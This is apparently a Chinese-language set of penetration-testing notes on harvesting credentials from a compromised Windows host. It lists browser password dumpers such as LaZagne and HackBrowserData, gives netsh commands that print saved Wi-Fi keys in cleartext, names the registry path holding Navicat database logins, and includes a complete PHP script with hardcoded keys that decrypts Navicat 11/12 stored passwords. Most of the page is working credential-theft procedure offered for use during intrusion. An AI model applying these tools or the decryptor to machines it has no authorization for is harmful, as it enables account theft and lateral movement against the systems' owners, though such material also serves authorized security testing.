一、浏览器密码获取

获取浏览器密码在内网渗透中的单机信息收集中是比较重要的一环,可能从浏览器中默认保存的密码中获取信息,可能这些密码是通用的,往往可以打开一个突破口,这部分主要利用工具。

HackBrowserData

https://github.com/moonD4rk/HackBrowserData
双击运行
image.png
image.png

BrowserGhost

https://github.com/QAX-A-Team/BrowserGhost/releases
需要时间运行
下载完releases版本后直接使用即可
image.png

LaZagne获取主机所有的密码

http://www.secwk.com/2019/10/15/10808/
λ laZagne_x64.exe all 非常简单的使用方式
image.png

360浏览器密码获取

360SafeBrowsergetpass

二、无线密码获取

Netsh wlan show profiles 查看当前系统保存的无线
image.png
Netsh wlan show profile name=xxxx key=clear 查看明文信息
image.png

三、NAVICAT密码获取

打开注册表
HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\101.132.26.xxx
在此目录下会存放着navicat里的主机username 和 password
image.png

再将此密码放入此脚本中进行解密

  1. <?php
  2. class NavicatPassword
  3. {
  4. protected $version = 0;
  5. protected $aesKey = 'libcckeylibcckey';
  6. protected $aesIv = 'libcciv libcciv ';
  7. protected $blowString = '3DC5CA39';
  8. protected $blowKey = null;
  9. protected $blowIv = null;
  10. public function __construct($version = 12)
  11. {
  12. $this->version = $version;
  13. $this->blowKey = sha1('3DC5CA39', true);
  14. $this->blowIv = hex2bin('d9c7c3c8870d64bd');
  15. }
  16. public function encrypt($string)
  17. {
  18. $result = FALSE;
  19. switch ($this->version) {
  20. case 11:
  21. $result = $this->encryptEleven($string);
  22. break;
  23. case 12:
  24. $result = $this->encryptTwelve($string);
  25. break;
  26. default:
  27. break;
  28. }
  29. return $result;
  30. }
  31. protected function encryptEleven($string)
  32. {
  33. $round = intval(floor(strlen($string) / 8));
  34. $leftLength = strlen($string) % 8;
  35. $result = '';
  36. $currentVector = $this->blowIv;
  37. for ($i = 0; $i < $round; $i++) {
  38. $temp = $this->encryptBlock($this->xorBytes(substr($string, 8 * $i, 8), $currentVector));
  39. $currentVector = $this->xorBytes($currentVector, $temp);
  40. $result .= $temp;
  41. }
  42. if ($leftLength) {
  43. $currentVector = $this->encryptBlock($currentVector);
  44. $result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector);
  45. }
  46. return strtoupper(bin2hex($result));
  47. }
  48. protected function encryptBlock($block)
  49. {
  50. return openssl_encrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING);
  51. }
  52. protected function decryptBlock($block)
  53. {
  54. return openssl_decrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING);
  55. }
  56. protected function xorBytes($str1, $str2)
  57. {
  58. $result = '';
  59. for ($i = 0; $i < strlen($str1); $i++) {
  60. $result .= chr(ord($str1[$i]) ^ ord($str2[$i]));
  61. }
  62. return $result;
  63. }
  64. protected function encryptTwelve($string)
  65. {
  66. $result = openssl_encrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv);
  67. return strtoupper(bin2hex($result));
  68. }
  69. public function decrypt($string)
  70. {
  71. $result = FALSE;
  72. switch ($this->version) {
  73. case 11:
  74. $result = $this->decryptEleven($string);
  75. break;
  76. case 12:
  77. $result = $this->decryptTwelve($string);
  78. break;
  79. default:
  80. break;
  81. }
  82. return $result;
  83. }
  84. protected function decryptEleven($upperString)
  85. {
  86. $string = hex2bin(strtolower($upperString));
  87. $round = intval(floor(strlen($string) / 8));
  88. $leftLength = strlen($string) % 8;
  89. $result = '';
  90. $currentVector = $this->blowIv;
  91. for ($i = 0; $i < $round; $i++) {
  92. $encryptedBlock = substr($string, 8 * $i, 8);
  93. $temp = $this->xorBytes($this->decryptBlock($encryptedBlock), $currentVector);
  94. $currentVector = $this->xorBytes($currentVector, $encryptedBlock);
  95. $result .= $temp;
  96. }
  97. if ($leftLength) {
  98. $currentVector = $this->encryptBlock($currentVector);
  99. $result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector);
  100. }
  101. return $result;
  102. }
  103. protected function decryptTwelve($upperString)
  104. {
  105. $string = hex2bin(strtolower($upperString));
  106. return openssl_decrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv);
  107. }
  108. };
  109. //需要指定版本两种,11或12
  110. //$navicatPassword = new NavicatPassword(11);
  111. $navicatPassword = new NavicatPassword(11);
  112. //解密 https://tool.lu/coderunner
  113. //$decode = $navicatPassword->decrypt('5658213B');
  114. $decode = $navicatPassword->decrypt('B43AAE7AE7D80102A4C2EB');
  115. echo $decode."\n";
  116. ?>

https://tool.lu/coderunner 即可获取争取的数据明文密码
image.png